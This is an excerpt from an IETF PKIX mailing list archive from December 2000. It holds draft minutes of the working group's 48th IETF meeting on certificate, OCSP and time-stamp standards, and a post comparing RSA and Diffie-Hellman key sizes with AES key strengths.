List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--============_-1235358777==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Folks,

Here are the draft meeting minutes from PKIX.  Please reply with 
corrections by 12/31. Pardon the text alignment problems in this 
version.  The final version will fix those problems.

Also, all speakers who would like their slides included in the IETF 
archive for this meeting should e-mail them to me (as power point 
files) over the next 2 weeks.

Thanks,

Steve
----------------------------------------------------------------------
PKIX WG Meeting 12/12-13/00
Edited by Steve Kent (WG co-chairs)

The PKIX WG met twice during the 48th IETF. A total of approximately 
200 individuals participated in the first meeting, and about 150 in 
the second.

Day 1 (12/12/00)

Tim quickly reviewed the agenda and document status, noting that 
there are 20  I-Ds in progress. (see slides)

Qualified Certificates Profile - Stefan Santesson (Addtrust)
       This document has been approved as a Standards track RFC and
       is currently in the editors queue.  Stefan briefly discussed the
       status of the corresponding ETSI specification that refers to this RFC.
In a new item, Stefan briefly discussed the idea of a new extension 
that could be used to refer (with integrity) to corporate logos for 
subjects and issuers, as an aid to users when they display 
certificates. Steve Kent expressed some concern that such graphics 
might undermine the security offered by the name constraints 
extension, IF a CA accidentally or maliciously binds a logo to a name 
which is not really related to the name.

Attribute Certificate Profile - Steve Farrell (Baltimore)
       This document has been through working group Last Call and is
currently under Area Director Review.  Steve described the status of 
this document, including changes made as a consequence of Last Call. 
Denis alluded to a problem in the base ISO spec which has been 
inherited by the PKIX document.

Data Validation and Certification Server - Carlisle Adams (Entrust)
       This document has been approved as a Experimental
       track RFC and is currently in the editing queue.

Time Stamp Protocols (TSP) - Denis Pinkas (Bull)
       This document has been through working group Last Call and is
       currently under Area Director Review.  Denis described the changes
made to the TSP specification as a consequence of Last Call, and the 
creation of an appendix to specify the SIA extension. This appendix 
is a temporary one, and the SIA extension will later be moved to RFC 
2459bis, when then document is issued. ETSI will work on a TSP 
security policy document, analogous to one ETSi is working on for CA 
security policy. Denis offers to initiate further work, to specify a 
set of standard TSA policies. This would require a mod to the current 
PKIX charter.

Permanent Identifier - Denis Pinkas (Bull)
       This document is stable and ready for progression as an RFC.
The question before the WG is what status should be attached to the 
document, i.e., standards track, informational, or experimental? A 
quick poll of attendees suggests support for standards track, but 
since the number of folks who claim familiarity with the document was 
small, we will bring this to the list for a straw poll for final 
resolution. Bob Moskowitz cited a potential problem with current CA 
implementations, if one tried to request a certificate with a new 
name, signing the request with a key bound to a certificate with a 
different name.

Technical Non-Repudiation - Tom Gindin (IBM)
       This document is ready to proceed as an Informational track
specification. Denis presented a few slides raising issues that he 
feels need to be addressed prior to publication as information. For 
example, he notes that ETSI has a standard for 1-way NR which is 
viewed as sufficient for legal NR purposes, not consistent with this 
draft. Denis will correspond with Tom to resolve this and related 
issues.

Delegated Path Validation & Discovery Services - Steve Kent (BBN)
       The working group has been presented with two alternative
Proposals: Simple Certificate Validation Protocol (SCVP) and 
extensions to OCSP (v2) for Delegated path Discovery and Validation. 
Steve Kent presented a proposed set of criteria, and associated 
rationales, for use in evaluating these competing proposals. Steve 
will follow up with an extended message on the topic to the mailing 
list, to establish consensus for selection criteria.


Day 2 (12/13/00)


CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)
       Bob has been organizing interoperability testing for CRMF/CMP
       Implementations.  This testing will support the progression of CMP
and CRMF to Draft standard. Bob discussed results of recent test 
activities, which are leading to an interoperability test report.

Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2510.  These
       changes are proposed as a result of interoperability testing.
This specification is ready for Last Call and progression of CMP to 
Draft Standard. The editors believe that the changes made from the 
previous version are minor and thus the document should progress to 
DRAFT standard.

Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2511.  These
       changes are proposed as a result of interoperability testing.
       This specification is now ready for Last Call and progression
of CRMF to Draft Standard.

Certificate and CRL Profile revisions - Russ Housley (SPYRUS)
       This document is the follow-up to RFC 2459.  A new draft of this
document has been published. The document is ready for Working Group 
Last Call, modulo a difference of opinion between X.509 and PKIX re 
name constraints. It is not clear whether we can achieve agreement 
with X.509 over this, or if we need to diverge. We set 2/14 as a 
"drop dead" date, i.e., either we reconcile with X.509 by then, OR we 
assign a distinct OID for the "PKIX name constraints extension." This 
date was chosen based on a planned X.509 meeting in late January. 
Since a number of changes have been made and since they are 
substantive, this document will be considered as a Proposed Standard.

  Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)
       This document is a companion to the Certificate and CRL Profile.
       This specification contains the algorithm-specific information,
       such as OIDs and encoding information.  This specification is
       ready for WG Last Call and is expected to progress to Proposed
Standard with the Certificate and CRL Profile. Jim Schaad suggested 
that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new 
certificates. An attendee suggested that RSA should be mandated, 
based on existing deployment. Jeff Schiller noted that the SAAG 
argued for consistency among the major certificate client protocols: 
IPsec, S/MIME, and TLS. Steve Kent agreed to call for a straw poll on 
the PKIX list re this topic.

OCSPv2 - Michael Myers (VeriSign)
	This document incorporates clarifications and enhancements to
RFC 2560, plus DPD & DPV extensions. A major issue is whether we 
should progress this document to DRAFT, or make changes, specifically 
to the certificate ID mechanism, to cycle at proposed. Mike described 
the proposed new certificate ID forms; the WG needs to decide if 
support for all of these forms is appropriate. For example, an 
attendee noted that issuer name and serial number works even if the 
server is CRL driven, but certificate hash is not derivable from a 
CRL. Thus support for some forms of certificate IDs implies server 
database capabilities that must be explicitly defined and agreed 
upon. Another attendee raised concerns that the status response (a 
CHOICE today) may be overloaded when one tries to encompass path 
validation, vs. validation of individual certificates. Steve Kent 
noted that processing the DPD and DPV extensions represents 
substantial new functionality and complexity to an OCSP v1 server, so 
that it is not appropriate to characterize the complexity of these 
new extensions purely in terms of their (minimal) syntax.

Comments on OCSPv2 - Denis Pinkas (Bull)
Denis agreed that there is a need to revise OCSP, for several minor 
but important editorial reasons, but he argues that while there are 
deficiencies in the certificate ID in v1, but that existing OCSP 
clients do find the certificate ID facility adequate for the simple 
purpose of revocation status checking. The major motivation for 
expanding the certificate ID types is to support extensions such as 
DPV or DPD. He suggested that we revise OCSP, but only to add an 
ASN.1 module OID, re-specify a mandatory algorithm, and to clarify 
the status returned, not to support extensions such as DPD and DPV.

Comments on OCSPv2 - Ambarish Malpani (ValiCert)
Ambarish notes that there are at least 11 independent implementations 
of OCSP v1, many users, etc. For the original, intended purpose, he 
argues that the current deployment success attests to the adequacy of 
the current spec. He noted that the use model assumes that the client 
has all of the certificates in a chain and thus the limitations on 
certificate IDs are not severe, although he admitted the design could 
have been better in this regard.

PKIX Roadmap - Sean Turner (IECA)
       This document provides an overview or "roadmap" of the work
       done by the IETF PKIX working group. It defines common terms,
       describes basic theory behind PKI, and provides an overview of
       PKIX documents and the relationships between them.  This document
is now fairly stable; the editor and WG chairs agree to execute WG 
last call, for this to become an informational RFC.

Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)
       This document is the LDAPv3 analog of RFC 2559.  This document
       describes the features of LDAPv3 that are essential, or not
       required, or are optional for servers to support a PKI based
on X.509. David reviewed the mandatory, recommended and not 
recommended, aspects of the profile.

CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom)
       An ad hoc group of PKIX and ABA members has been working on
       revisions to RFC 2527, the "Certificate Policy and Certification
       Practices Framework".  A new draft will be posted in the near
       future.  This update will describe expected changes in the
document. Tim did not present Santosh's slides, due to time 
constraints, but the slides will be posted to the IETF web site.

Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)
       This document specifies a deliberately limited protocol for
requesting attribute certificates from a server. No presentation was 
made on this document, since there was no significant progress to 
report.

Repository Locator Service - Phil Hallem-Baker (VeriSign)
       This document leverages DNS and DNS SRV records to enable
       Certificate using systems to locate PKI repositories
       based on a domain name, identify the protocols that can be
       used to access the repository, and obtain addresses for the
servers that host the repository service. The current plan is to 
progress this as an experimental track RFC.

PKIX and XML - Phil Hallem-Baker (VeriSign)

Phil first noted that mere re-encoding of certificates in XML does 
not seem to be a valuable exercise. A second approach might be to 
re-encode and change some semantics at the same time, but this too is 
not very attractive. Instead, the work Phil reported on envisions a 
fresh start for a native XML PKI model, using XML encryption, 
signatures, SOAP, etc., i.e., a PKI that is deeply entwined in the 
XML environment. Several observations are made about why PKI 
deployment has not been as successful as we would all hope, e.g., 
applications that are not compliant with standards. XML key 
management services (XKMS) is an attempt to provide an interface, not 
an infrastructure, which will yield a very small footprint 
implementation (because of delegated validation), thus removing an 
impediment from deployment. "Trust services" form the core of this 
scheme, using delegated validation in various structural schema, 
e.g., completely centralized, DNS-tree structure, PGP-web, X.509 
cross certification, etc. It is not clear in which context this work 
should proceed, e.g., it may be more appropriate in W3C vs. the IETF.

--============_-1235358777==_ma============
Content-Type: text/enriched; charset="us-ascii"

Folks,


Here are the draft meeting minutes from PKIX.  Please reply with
corrections by 12/31. Pardon the text alignment problems in this
version.  The final version will fix those problems.


Also, all speakers who would like their slides included in the IETF
archive for this meeting should e-mail them to me (as power point
files) over the next 2 weeks.


Thanks,


Steve

----------------------------------------------------------------------

<fontfamily><param>Courier_New</param><bigger>PKIX WG Meeting
12/12-13/00 

Edited by Steve Kent (WG co-chairs)


The PKIX WG met twice during the 48th IETF. A total of approximately
200 individuals participated in the first meeting, and about 150 in the
second.


Day 1 (12/12/00)


Tim quickly reviewed the agenda and document status, noting that there
are 20  I-Ds in progress. (see slides)


Qualified Certificates Profile - Stefan Santesson (Addtrust)

      This document has been approved as a Standards track RFC and

      is currently in the editors queue.  Stefan briefly discussed the

      status of the corresponding ETSI specification that refers to
this RFC. 

In a new item, Stefan briefly discussed the idea of a new extension
that could be used to refer (with integrity) to corporate logos for
subjects and issuers, as an aid to users when they display
certificates. Steve Kent expressed some concern that such graphics
might undermine the security offered by the name constraints extension,
IF a CA accidentally or maliciously binds a logo to a name which is not
really related to the name.


Attribute Certificate Profile - Steve Farrell (Baltimore)

      This document has been through working group Last Call and is

currently under Area Director Review.  Steve described the status of
this document, including changes made as a consequence of Last Call.
Denis alluded to a problem in the base ISO spec which has been
inherited by the PKIX document. 


Data Validation and Certification Server - Carlisle Adams (Entrust)

      This document has been approved as a Experimental

      track RFC and is currently in the editing queue.


Time Stamp Protocols (TSP) - Denis Pinkas (Bull)

      This document has been through working group Last Call and is

      currently under Area Director Review.  Denis described the
changes

made to the TSP specification as a consequence of Last Call, and the
creation of an appendix to specify the SIA extension. This appendix is
a temporary one, and the SIA extension will later be moved to RFC
2459bis, when then document is issued. ETSI will work on a TSP security
policy document, analogous to one ETSi is working on for CA security
policy. Denis offers to initiate further work, to specify a set of
standard TSA policies. This would require a mod to the current PKIX
charter.


Permanent Identifier - Denis Pinkas (Bull)

      This document is stable and ready for progression as an RFC.

The question before the WG is what status should be attached to the
document, i.e., standards track, informational, or experimental? A
quick poll of attendees suggests support for standards track, but since
the number of folks who claim familiarity with the document was small,
we will bring this to the list for a straw poll for final resolution.
Bob Moskowitz cited a potential problem with current CA
implementations, if one tried to request a certificate with a new name,
signing the request with a key bound to a certificate with a different
name.


Technical Non-Repudiation - Tom Gindin (IBM)

      This document is ready to proceed as an Informational track

specification. Denis presented a few slides raising issues that he
feels need to be addressed prior to publication as information. For
example, he notes that ETSI has a standard for 1-way NR which is viewed
as sufficient for legal NR purposes, not consistent with this draft.
Denis will correspond with Tom to resolve this and related issues.


Delegated Path Validation & Discovery Services - Steve Kent (BBN)

      The working group has been presented with two alternative

Proposals: Simple Certificate Validation Protocol (SCVP) and extensions
to OCSP (v2) for Delegated path Discovery and Validation. Steve Kent
presented a proposed set of criteria, and associated rationales, for
use in evaluating these competing proposals. Steve will follow up with
an extended message on the topic to the mailing list, to establish
consensus for selection criteria.



Day 2 (12/13/00)



CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)

      Bob has been organizing interoperability testing for CRMF/CMP

      Implementations.  This testing will support the progression of
CMP

and CRMF to Draft standard. Bob discussed results of recent test
activities, which are leading to an interoperability test report.


Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)

	This document incorporates clarifications to RFC 2510.  These 

      changes are proposed as a result of interoperability testing.  

This specification is ready for Last Call and progression of CMP to
Draft Standard. The editors believe that the changes made from the
previous version are minor and thus the document should progress to
DRAFT standard.


Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) 

	This document incorporates clarifications to RFC 2511.  These 

      changes are proposed as a result of interoperability testing.  

      This specification is now ready for Last Call and progression

of CRMF to Draft Standard.


Certificate and CRL Profile revisions - Russ Housley (SPYRUS) 

      This document is the follow-up to RFC 2459.  A new draft of this

document has been published. The document is ready for Working Group
Last Call, modulo a difference of opinion between X.509 and PKIX re
name constraints. It is not clear whether we can achieve agreement with
X.509 over this, or if we need to diverge. We set 2/14 as a "drop dead"
date, i.e., either we reconcile with X.509 by then, OR we assign a
distinct OID for the "PKIX name constraints extension." This date was
chosen based on a planned X.509 meeting in late January. Since a number
of changes have been made and since they are substantive, this document
will be considered as a Proposed Standard.


 Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)

      This document is a companion to the Certificate and CRL Profile.

      This specification contains the algorithm-specific information,

      such as OIDs and encoding information.  This specification is 

      ready for WG Last Call and is expected to progress to Proposed

Standard with the Certificate and CRL Profile. Jim Schaad suggested
that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new
certificates. An attendee suggested that RSA should be mandated, based
on existing deployment. Jeff Schiller noted that the SAAG argued for
consistency among the major certificate client protocols: IPsec,
S/MIME, and TLS. Steve Kent agreed to call for a straw poll on the PKIX
list re this topic.


OCSPv2 - Michael Myers (VeriSign)

	This document incorporates clarifications and enhancements to

RFC 2560, plus DPD & DPV extensions. A major issue is whether we should
progress this document to DRAFT, or make changes, specifically to the
certificate ID mechanism, to cycle at proposed. Mike described the
proposed new certificate ID forms; the WG needs to decide if support
for all of these forms is appropriate. For example, an attendee noted
that issuer name and serial number works even if the server is CRL
driven, but certificate hash is not derivable from a CRL. Thus support
for some forms of certificate IDs implies server database capabilities
that must be explicitly defined and agreed upon. Another attendee
raised concerns that the status response (a CHOICE today) may be
overloaded when one tries to encompass path validation, vs. validation
of individual certificates. Steve Kent noted that processing the DPD
and DPV extensions represents substantial new functionality and
complexity to an OCSP v1 server, so that it is not appropriate to
characterize the complexity of these new extensions purely in terms of
their (minimal) syntax.


Comments on OCSPv2 - Denis Pinkas (Bull)

Denis agreed that there is a need to revise OCSP, for several minor but
important editorial reasons, but he argues that while there are
deficiencies in the certificate ID in v1, but that existing OCSP
clients do find the certificate ID facility adequate for the simple
purpose of revocation status checking. The major motivation for
expanding the certificate ID types is to support extensions such as DPV
or DPD. He suggested that we revise OCSP, but only to add an ASN.1
module OID, re-specify a mandatory algorithm, and to clarify the status
returned, not to support extensions such as DPD and DPV.


Comments on OCSPv2 - Ambarish Malpani (ValiCert)

Ambarish notes that there are at least 11 independent implementations
of OCSP v1, many users, etc. For the original, intended purpose, he
argues that the current deployment success attests to the adequacy of
the current spec. He noted that the use model assumes that the client
has all of the certificates in a chain and thus the limitations on
certificate IDs are not severe, although he admitted the design could
have been better in this regard.


PKIX Roadmap - Sean Turner (IECA)

      This document provides an overview or "roadmap" of the work

      done by the IETF PKIX working group. It defines common terms, 

      describes basic theory behind PKI, and provides an overview of 

      PKIX documents and the relationships between them.  This
document

is now fairly stable; the editor and WG chairs agree to execute WG last
call, for this to become an informational RFC.


Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)

      This document is the LDAPv3 analog of RFC 2559.  This document

      describes the features of LDAPv3 that are essential, or not

      required, or are optional for servers to support a PKI based

on X.509. David reviewed the mandatory, recommended and not
recommended, aspects of the profile. 


CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom)

      An ad hoc group of PKIX and ABA members has been working on

      revisions to RFC 2527, the "Certificate Policy and Certification

      Practices Framework".  A new draft will be posted in the near

      future.  This update will describe expected changes in the 

document. Tim did not present Santosh's slides, due to time
constraints, but the slides will be posted to the IETF web site.


Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)

      This document specifies a deliberately limited protocol for

requesting attribute certificates from a server. No presentation was
made on this document, since there was no significant progress to
report.


Repository Locator Service - Phil Hallem-Baker (VeriSign)

      This document leverages DNS and DNS SRV records to enable

      Certificate using systems to locate PKI repositories 

      based on a domain name, identify the protocols that can be

      used to access the repository, and obtain addresses for the

servers that host the repository service. The current plan is to
progress this as an experimental track RFC.


PKIX and XML - Phil Hallem-Baker (VeriSign)


Phil first noted that mere re-encoding of certificates in XML does not
seem to be a valuable exercise. A second approach might be to re-encode
and change some semantics at the same time, but this too is not very
attractive. Instead, the work Phil reported on envisions a fresh start
for a native XML PKI model, using XML encryption, signatures, SOAP,
etc., i.e., a PKI that is deeply entwined in the XML environment.
Several observations are made about why PKI deployment has not been as
successful as we would all hope, e.g., applications that are not
compliant with standards. XML key management services (XKMS) is an
attempt to provide an interface, not an infrastructure, which will
yield a very small footprint implementation (because of delegated
validation), thus removing an impediment from deployment. "Trust
services" form the core of this scheme, using delegated validation in
various structural schema, e.g., completely centralized, DNS-tree
structure, PGP-web, X.509 cross certification, etc. It is not clear in
which context this work should proceed, e.g., it may be more
appropriate in W3C vs. the IETF.  
</bigger></fontfamily>

--============_-1235358777==_ma============--


From owner-ietf-pkix@imc.org  Thu Dec 14 00:44:20 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA24110
	for <pkix-archive@odin.ietf.org>; Thu, 14 Dec 2000 00:44:17 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id VAA08549;
	Wed, 13 Dec 2000 21:39:28 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 13 Dec 2000 21:39:11 -0800
Received: from ntserver2.chrysalis-its.com ([209.47.245.163])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id VAA08330;
	Wed, 13 Dec 2000 21:34:01 -0800 (PST)
From: FRousseau@chrysalis-its.com
Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21)
	id <XXCGYLMZ>; Thu, 14 Dec 2000 00:36:44 -0500
Message-ID: <918C70B01822D411A87400B0D0204DFFAD7CE6@panda.chrysalis-its.com>
To: ietf-smime@imc.org, ipsec@lists.tislabs.com, ietf-tls@lists.certicom.com
Cc: ietf-pkix@imc.org
Subject: New Time and Space Based Key Size Equivalents for RSA and Diffie-
	Hellman
Date: Thu, 14 Dec 2000 00:36:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0658F.D7D4218A"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0658F.D7D4218A
Content-Type: text/plain;
	charset="iso-8859-1"

I am sorry for the multiple postings, but I thought this particular subject,
although probably quite controversial, might be of interest to the many
peoples following these mailing lists, especially because of the upcoming
adoption of the AES algorithm by many IETF protocols.

As symmetric keys grow, they can be attacked by more processors without a
change in processor technology since the memory requirements for breaking
symmetric keys remain trivial.  However, for the Number Field Sieve (NFS)
algorithm, which is currently the most efficient method to break RSA keys,
this is not true.  Based on this premise, the "time and space" based RSA key
size equivalents previously published in the RSA Labs Bulletin #13 of April
2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have recently
been extended to cover all the AES symmetric key sizes in the latest draft
of ANSI X9.44, which will eventually become the ANSI standard for RSA key
transport:

			Time and Space
Symmetric		Equivalent
Key Size		RSA Key Size
(in bits)		(in bits)

64			450
128			1620
192			2500
256			4200

These "time and space" based key sizes equivalents assume that both time and
memory are binding constraints in order to break RSA keys.  This same draft
also indicates that beyond RSA key sizes of 768 bits one can no longer
effectively utilize 32-bit processors with the NFS algorithm because the
required memory exceeds what can be addressed in 32 bits; one is forced to
use 64-bit machines.  Beyond RSA key sizes of about 2500 bits, the memory
requirements for the NFS algorithm exceed what can be addressed even on 64
bit machines.

For your information, here are also the estimated "time" only based RSA key
size equivalents for solving the NFS problem from the same ANSI draft:

			Time Only
Symmetric		Equivalent
Key Size		RSA Key Size
(in bits)		(in bits)

64			512
128			2550
192			6700
256			13500

Note that either of these sets of RSA key size equivalents could be used
with Diffie-Hellman for solving the value of "p" since the NFS algorithm is
also the most efficient method to break Diffie-Hellman algorithm today.
Note also that these time only equivalents numbers are slightly smaller than
those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits,
6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers
in Hilarie Orman's Internet Draft (i.e.
draft-orman-public-key-lengths-01.txt).

Shouldn't IETF standards mention these new "time and space" based key size
equivalents in addition to existing "time" only based key size equivalents,
and possibly even suggest that "time and space" based key size equivalents
be used for RSA and Diffie-Hellman?  Why mandate larger equivalent key sizes
when smaller equivalent key sizes can probably suffice?

Food for thought!

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419
http://www.chrysalis-its.com     Fax. (613) 723-5078

------_=_NextPart_001_01C0658F.D7D4218A
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>New Time and Space Based Key Size Equivalents for RSA and =
Diffie-Hellman</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I am sorry for the multiple postings, but I thought =
this particular subject, although probably quite controversial, might =
be of interest to the many peoples following these mailing lists, =
especially because of the upcoming adoption of the AES algorithm by =
many IETF protocols.</FONT></P>

<P><FONT SIZE=3D2>As symmetric keys grow, they can be attacked by more =
processors without a change in processor technology since the memory =
requirements for breaking symmetric keys remain trivial.&nbsp; However, =
for the Number Field Sieve (NFS) algorithm, which is currently the most =
efficient method to break RSA keys, this is not true.&nbsp; Based on =
this premise, the &quot;time and space&quot; based RSA key size =
equivalents previously published in the RSA Labs Bulletin #13 of April =
2000 by Robert Silverman (<A HREF=3D"http://www.rsalabs.com/bulletins/" =
TARGET=3D"_blank">http://www.rsalabs.com/bulletins/</A>) have recently =
been extended to cover all the AES symmetric key sizes in the latest =
draft of ANSI X9.44, which will eventually become the ANSI standard for =
RSA key transport:</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>Time and =
Space</FONT>
<BR><FONT SIZE=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT>
<BR><FONT SIZE=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT>
<BR><FONT SIZE=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT>
</P>

<P><FONT SIZE=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450</FONT>
<BR><FONT SIZE=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1620</FONT>
<BR><FONT SIZE=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2500</FONT>
<BR><FONT SIZE=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4200</FONT>
</P>

<P><FONT SIZE=3D2>These &quot;time and space&quot; based key sizes =
equivalents assume that both time and memory are binding constraints in =
order to break RSA keys.&nbsp; This same draft also indicates that =
beyond RSA key sizes of 768 bits one can no longer effectively utilize =
32-bit processors with the NFS algorithm because the required memory =
exceeds what can be addressed in 32 bits; one is forced to use 64-bit =
machines.&nbsp; Beyond RSA key sizes of about 2500 bits, the memory =
requirements for the NFS algorithm exceed what can be addressed even on =
64 bit machines.</FONT></P>

<P><FONT SIZE=3D2>For your information, here are also the estimated =
&quot;time&quot; only based RSA key size equivalents for solving the =
NFS problem from the same ANSI draft:</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>Time =
Only</FONT>
<BR><FONT SIZE=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT>
<BR><FONT SIZE=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT>
<BR><FONT SIZE=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT>
</P>

<P><FONT SIZE=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 512</FONT>
<BR><FONT SIZE=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2550</FONT>
<BR><FONT SIZE=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6700</FONT>
<BR><FONT SIZE=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13500</FONT>
</P>

<P><FONT SIZE=3D2>Note that either of these sets of RSA key size =
equivalents could be used with Diffie-Hellman for solving the value of =
&quot;p&quot; since the NFS algorithm is also the most efficient method =
to break Diffie-Hellman algorithm today.&nbsp; Note also that these =
time only equivalents numbers are slightly smaller than those from ANSI =
X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, 6700 vs 7680 =
for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in =
Hilarie Orman's Internet Draft (i.e. =
draft-orman-public-key-lengths-01.txt).</FONT></P>

<P><FONT SIZE=3D2>Shouldn't IETF standards mention these new &quot;time =
and space&quot; based key size equivalents in addition to existing =
&quot;time&quot; only based key size equivalents, and possibly even =
suggest that &quot;time and space&quot; based key size equivalents be =
used for RSA and Diffie-Hellman?&nbsp; Why mandate larger equivalent =
key sizes when smaller equivalent key sizes can probably =
suffice?</FONT></P>

<P><FONT SIZE=3D2>Food for thought!</FONT>
</P>

<P><FONT SIZE=3D2>Cheers,</FONT>
</P>

<P><FONT SIZE=3D2>Francois</FONT>
<BR><FONT SIZE=3D2>___________________________________</FONT>
<BR><FONT SIZE=3D2>Francois Rousseau</FONT>
<BR><FONT SIZE=3D2>Director of Standards and Conformance</FONT>
<BR><FONT SIZE=3D2>Chrysalis-ITS</FONT>
<BR><FONT SIZE=3D2>1688 Woodward Drive</FONT>
<BR><FONT SIZE=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT>
<BR><FONT =
SIZE=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613) 723-5076 ext. 419</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.chrysalis-its.com" =
TARGET=3D"_blank">http://www.chrysalis-its.com</A>&nbsp;&nbsp;&nbsp;&nbs=
p; Fax. (613) 723-5078</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0658F.D7D4218A--


From owner-ietf-pkix@imc.org  Thu Dec 14 08:56:58 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
